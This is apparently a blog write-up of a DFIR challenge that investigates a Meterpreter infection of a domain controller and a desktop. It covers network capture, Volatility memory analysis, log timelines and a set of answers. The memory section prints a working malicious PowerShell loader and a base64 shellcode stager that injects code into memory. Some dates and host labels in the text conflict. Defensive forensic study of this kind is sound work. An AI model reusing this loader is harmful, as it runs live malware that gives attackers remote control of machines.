In this article, we are going to solve the challenge of the Case of the Missing Szechuan Sauce proposed by DFIRMadness . This is a Digital Forensic and Incident Response (DFIR) challenge where we will have to investigate the memory and the traces left by an infection on a server and a endpoint computer.
Beyond tools and technical issues, the biggest challenge is the method. Indeed, being able to navigate the large amount of data that we have was the biggest difficulty.
So for that, we started from the network capture and pivoted from theories to theories until we could build a profile, timeframe and explanation of what happened. At some point, we kinda stop because we felt we could go deeper but it was unnecessary.
Network capture
To make sense of the network capture, we used a tool called Brim.
Right away and from the overview quick search, we can identify a couple of endpoints and some malicious traffic.
Here are the first indicators from a preliminary analysis:
- timestamp 7h span between 2020/09/18 21:58:07 and 2020/09/19 05:38:57 UTC
- 10.42.85[.]10 is Domain Controller (Citadel)
- 10.42.85[.]115 is Desktop
- 194.61.24[.]102 is Desktop
- 203.78.103[.]109 is malicious (virustotal)
Pulling the time details of those indicators, we can get a better idea of the attack times.
Here are the first ideas:
- there were connections between the malicious IP and the internal IPs on 2021-09-19 around 2:25
- we don't have more information after 2:56
- both of the IPs have connections to the malicious IP
If we look into the details of one of the "network trojan" alert, we can carve out a program called coreupdater[.]exe
which seems far from legitimate.
In the next screenshot, we can see that the malicious executable files is passed from what we have identified as the Desktop (10.42.85[.]10) and one IP we identified as the Desktop (194.61.24[.]102).
Thus, we can suppose there was an implant on the 194 computer and then pivoted towards the DC. However, the timestamps for the moment don't make quite the whole story based on the analysis we go from Brim.
Moreover, we know that coreupdater[.]exe
is a Meterpreter binary thus we can look for more possible techniques linked with that tool. Plus, we observed Kerberos traffic with an Administrator request. This could mean that the attacker made a privilege escalation on the desktop.
So, here are the things we need to prove in the next steps:
- How was the Desktop infected?
- How did the attacker elevate its privilege?
- When was the first sight of
coreupdater[.]exe
on the Desktop? - What kind of malware is
coreupdater[.]exe
?
Malware Analysis
Here are the general overview of coreupdater[.]exe
that we carved out of the network capture:
Looking a bit about the functions, we can see a little amount of function, it probably mean the malware is packed.
So for the next part, we used a dynamic analysis service:
Here are some detection:
We are not going to dwell too much on it as we already know this is Meterpreter. However, some of those information are going to be important when we'll look into the memory and the hard drive image.
Memory Analysis
In this section, the goal of the work is to extract artifacts and try to build up the trail that we are going to follow in the last part of the analysis: logs.
Domain Controller
vol3 -f citadeldc01.mem windows.pstree.PsTree
coreupdater[.]exe
is launched with the process 3644 and the parent process 2244. None of those number can be seen in the tree. The launch date is 2020-09-19 at 3:56:37 UTC which is the last moment detection we had in the network capture.
vol3 -f citadeldc01.mem windows.netscan.NetScan | tee netscan.out
cat netscan.out | grep "ESTABLISHED"
cat netscan.out | grep "coreupdater"
Now looking at the connection scan, we can see the coreupdater[.]exe
file that was served with the malicious IP.
In case we didn't had the malware we could extract it with the following commands:
vol3 -f citadeldc01.mem windows.malfind.MalFind
vol3 -f citadeldc01.mem windows.malfind.MalFind --dump
Moreover, you can run clamscan -o *
in the dump folder to see if there is a possible detection on your virus. Which for our case we have:
Win.Exploit.Meterpreter-9752338-0 FOUND
If we look into registry keys, we find a suspicious key:
We can dump the content of the key with:
vol3 -f citadelledc01.mem windows.registry.printkey.PrintKey --key "9sEoCawv" | tee regkey.out
The content of this key has its content encoded in base64:
Here is the decoded value of this first content:
if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIACltZV8CA7VWa2+bSBT9nEj5D6iyBCiOjV2nzUaqtIAhxjWJKTZ27FoVhjFMPIADQ2zS7X/fOzakqZrstistQmIe93numbms8tijOIm53ccl4b6eHB8N3dSNOKEW33TrXC0ZjAPx6AjWa7u73ZT7wAlzebPpJpGL48XlpZqnKYrpYd64QlTOMhQtCUaZIHJ/cZMQpejsZnmHPMp95WpfGlckWbqkFCtU1wsRdybHPtsbJJ7LomnYG4KpwH/+zIvzs9aiod3nLskE3i4yiqKGTwgvct9E5nBUbJDAm9hLkyxZ0cYEx2/bjXGcuSt0DdYekIlomPgZL0IW8KaI5mnM7fNhBg7bAg/DYZp4su+nKMv4OjdnpueLxZ/CvPT7KY8pjlDDiClKk42N0gfsoazRc2OfoE9otQAtm6Y4DhaiCGIPyRoBlDkhde53zAjXaFuh9qtKwnMlkBrSVKxDIV/I00z8nKCDJv9CoKz4IjwVAQC5byfHJ8erii33xOmZz+kCo6P5fowgPGGYZHgv+IGT6pwJjlyapAVMa6M0R+LiCVyuthniUVF/3UCrkgbZtAULcyfB/gIUyoLWAm29s9jG68zsohWOUbeI3Qh7FfmEl2BGK4L2STYqsWuISeDLDeR3EUGBSxlwrNo/qWkRpk+6So6Jj1LZg1JlEBVUUfwxmEMtBN6ITRQBRoc50K+2AsqjSrqkeVF5Z3MQ4lXiZlmdG+Zw5rw6ZyOXIL/OyXGGyy05p8l+yH8P18wJxZ6b0crcQnwCsnSoJnFG09yDukHyI3uDPOwShkWd62EfKYWNg8ox/yISqksIHAWw9ACVgBWGgE0ZG1KI8VB5sWEjakQbgiIQ2h9/nbgBHPaS8Xv+uAHy+Z9irCh94C+Do8LhWYRQY5sktM45OKVwjTBo09Z/dP/s/jgEoqaorIZQnZK5UlBG7VqQYsbKEpg9DCkFCPQ0iRQ3Q+86h7tCeNPUcPd82E0eZXg0/ZPlKPbYmRmm3ye2Qe1bDQ/GYWjglhHAvBhrwZBKm4+jUa9vd3ty2t2FK9nIDK2nFFZLkb0efu/0lfEY9LA6sO52huwrUTANbtWtMQynBjhSB4ERwFcxQk+RZlKgSLo6sJVQw5Ic2FbP6rRmRvOCKPjRNmy5N3ny9+RH63R6091Ivjb7cqjf+Hqrre/110x/tr4adLX93GNz6zbTsAZ+NP3WckI0cTbKRNNnlrMxgtNtYDmDZkcPFVg38G6wsZvwtFr9h9h/NMnFownhWs6sj9HMCFARyJYs27cxsZdbVZav3hfSebwc62NYW4+MeGctN6Zf3PaafzgmRptEtjRZ1gmcykh2t91ma5IolnNujTVpV4yl3Va7a2413N+uy+/46t27oLnqDJuObcQ9N1Qg3qLfWeP+KexFriPdrpoOw6+rxc3HeErcodpKyLLZGuPue0UxMOpfmx65VyBnsHFuLRO17YUriMkILqxgmsRtdw12J4EM0UF+UOdV3wAdJSd4PT6dMlv9rRT1dxKLM+pfQGztMgaZxsa0CfHJva6txle2MW37SFeap96HN4yzQNpa0HvGxNdaiemmWegSYCj0iOpm0JNUL6/9YYKZhiDsfxbWKI0RgV4L3bg6WzIhice6zqFBQMs7NCLWF8cwfNt+cSRyT4Li93ZULV1eziBMOLBwnhoDFAc0rEu7t5IErUXadSTI8dczU5NNITBLddaZAJfSLtnbFdn5raEv9/T/hau8NUL4+P8K1/e1f9j9JQilOkv4p8UfF34Lzt/OfOJiCpI2XHsEHVrvKwCU1Hj2e8LqApVflQ/7v7zJ6dk1/LWcHP8N+iP4ZsoKAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
More base64! This code will get a new encoded process that we can decode again to:
function xKbl {
Param ($nOD, $oLUg)
$xjxX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $xjxX.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($xjxX.GetMethod('GetModuleHandle')).Invoke($null, @($nOD)))), $oLUg))
}
function qlVHM {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $pPiTy,
[Parameter(Position = 1)] [Type] $r1 = [Void]
)
$gEkxQ = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$gEkxQ.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $pPiTy).SetImplementationFlags('Runtime, Managed')
$gEkxQ.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $r1, $pPiTy).SetImplementationFlags('Runtime, Managed')
return $gEkxQ.CreateType()
}
[Byte[]]$gri = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG7y05nbUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoBQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJNMclqBEFYSIn5QboC2chf/9VIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//VSAHDSCnGSIX2deFB/+c=")
$gH = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xKbl kernel32.dll VirtualAlloc), (qlVHM @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $gri.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($gri, 0, $gH, $gri.length)
$e_qt = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xKbl kernel32.dll CreateThread), (qlVHM @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$gH,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xKbl kernel32.dll WaitForSingleObject), (qlVHM @([IntPtr], [Int32]))).Invoke($e_qt,0xffffffff) | Out-Null
This is a a part where our knowledge of Windows internals are getting their limits. From what we could understand here is that this code is going to inject something in memory. The exact method of this exploit is not known to us, we'll have to deal with this.
It's possible that this was a process injection generated by Meterpreter. However, how was that triggered?
Desktop
vol3 -f DESKTOP-SDN1RTP.mem windows.pstree.PsTree
This command doesn't work for some page fault error.
vol3 -f DESKTOP-SDN1RTP.mem windows.netstat.NetStat
We can see here the first contact with the malicious IP address.
vol3 -f DESKTOP-SDN1RTP.mem windows.registry.printkey.PrintKey
Here we can find a new finding: a suspicious registry key that we saw as well in the DC.
However, Volatility seemed to bug trying to get the key value. So this is something we are going to leave when we analyse the whole disk memory.
From here, we have the following questions:
- For the Desktop, how did the attacker got in? What was the initial access vector?
- For the Desktop, how did the attacker elevate its privileges?
- For the DC, how did the attacker pivoted from one station to another?
Disk Image
Desktop
Log Analysis
We could mount the disk images and look around but for the moment we are going to create log timelines and connect the dots from the logs that we will retrieve. Here we are going to focus on the time slice that we found during the first part of the investigation and try to get as much information as we can.
log2timeline.py --parsers list
log2timeline.py --parsers="winevtx" --status_view window desktop-log.dump IMAGE.E01
We just took the EVTX parser as we have some knowledge on how to look into those.
Let's filter through our date to find the culprit:
psort.py --output_time_zone 'UTC' -o l2tcsv -w desktop-04-full.csv desktop-04.dump
From the EVTX, we know that coreupdater[.]exe
was installed at 2020-09-19 at 03:42:42 UTC.
5871:09/19/2020,03:42:42,UTC,M..B,EVT,WinEVTX,Content Modification Time; Creation Time,Administrator,DESKTOP-SDN1RPT,[7045 / 0x1b85] Strings: ['c
oreupdater' 'C:\\Windows\\System32\\coreupdater....,[7045 / 0x1b85] Source Name: Service Control Manager Message string: A service was installed
in the system.\n\nService Name: coreupdater\nService File Name: C:\Windows\System32\coreupdater.exe\nService Type: user mode service\nService S
tart Type: auto start\nService Account: LocalSystem Strings: ['coreupdater' 'C:\\Windows\\System32\\coreupdater.exe' 'user mode service' 'aut
o start' 'LocalSystem'] Computer Name: DESKTOP-SDN1RPT.C137.local Record Number: 958 Event Level: 4,2,NTFS:\Windows\System32\winevt\Logs\System.e
vtx,27975,-,winevtx,message_identifier: 1073748869; recovered: False; sha256_hash: 638e689af45a8e6597bba27c18c53fc304003725f89ff33111c1aa7d46ae27d
d; user_sid: S-1-5-21-2232410529-1445159330-2725690660-500; xml_string: <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">- <S
ystem>- <Provider Name="Service Control Manager" Guid="{555908d1-a6d7-4695-8e1e-26931d2012f4}" EventSourceName="Service Control Manager"/>-
<EventID Qualifiers="16384">7045</EventID>- <Version>0</Version>- <Level>4</Level>- <Task>0</Task>- <Opcode>0</Opcode>- <Keywords>0
x8080000000000000</Keywords>- <TimeCreated SystemTime="2020-09-19T03:42:42.676537200Z"/>- <EventRecordID>958</EventRecordID>- <Correlatio
n/>- <Execution ProcessID="616" ThreadID="5772"/>- <Channel>System</Channel>- <Computer>DESKTOP-SDN1RPT.C137.local</Computer>- <Securi
ty UserID="S-1-5-21-2232410529-1445159330-2725690660-500"/>- </System>- <EventData>- <Data Name="ServiceName">coreupdater</Data>- <Data Na
me="ImagePath">C:\Windows\System32\coreupdater.exe</Data>- <Data Name="ServiceType">user mode service</Data>- <Data Name="StartType">auto st
art</Data>- <Data Name="AccountName">LocalSystem</Data>- </EventData>-</Event>-
So here we know more information, for example the path where the binary is stored and that is has been set up as an autostart thus here we have our persistence.
Here we can see the name the users of the Desktop, interestingly, there is one user called Admin and one Administrator. It is possible that one is bogus. We know that there as an authentication request between the Desktop and the DC with the Administrator string. We are not sure how to verify that part though.
So we still haven't answered the question on how did the attacker got in, we aren't exactly sure how to verify this. But that could be for a latter time, we have enough material to answer all the basic questions and that seems good enough.
Questions
Questions to Answer / Goals
What’s the Operating System of the Server?
Windows 2012 R2 x64 (Unsure)
What’s the Operating System of the Desktop?
Windows 2012 R2 x64
What was the local time of the Server?
UTC -6
Was there a breach?
Yes.
What was the initial entry vector (how did they get in)?
Meterpreter was used, but initial access is still unsure (TODO)
Was malware used? If so what was it? If there was malware answer the following:
What process was malicious?
coreupdater.exe
Identify the IP Address that delivered the payload.
What IP Address is the malware calling to?
203.78.103.109:443
Where is this malware on disk?
C:\Windows\System32\coreupdater.exe
When did it first appear?
2020-9-19, 03:42:42 UTC
Did someone move it?
Not that we know it.
What were the capabilities of this malware?
Process injection.
Is this malware easily obtained?
Yes.
Was this malware installed with persistence on any machine?
When?
2020-9-19, 03:42:42 UTC
Where?
Autoruns
What malicious IP Addresses were involved?
Were any IP Addresses from known adversary infrastructure?
Yes
Are these pieces of adversary infrastructure involved in other attacks
around the time of the attack?
Detection is spoiled by other exercises.
Did the attacker access any other systems?
How?
Kerberos Administrator ticket.
When?
2020-09-19T02:56:03.855
Did the attacker steal or access any data?
When?
Probably, we don't know how to verify that.
What was the network layout of the victim network?
Internet <-> Desktop <-> DC
What architecture changes should be made immediately?
Prevent DC to be able to be accessible from the Internet.
Did the attacker steal the Szechuan sauce? If so, what time?
We don't know how to verify that.
Did the attacker steal or access any other sensitive files? If so, what times?
We don't know how to verify that.
Finally, when was the last known contact with the adversary?
2020-09-19T04:08:45.783
Conclusion
This was a fun ride, I think I still have to learn a bit more about how to verify a file access in the Windows log but building up from the PCAP and the Memory was a good fun. At some point, I was feeling I was looking into circles and searching for things I knew were there. But in the end, what matters is the learning process.
Let me know if you have questions or comments!
Top comments (0)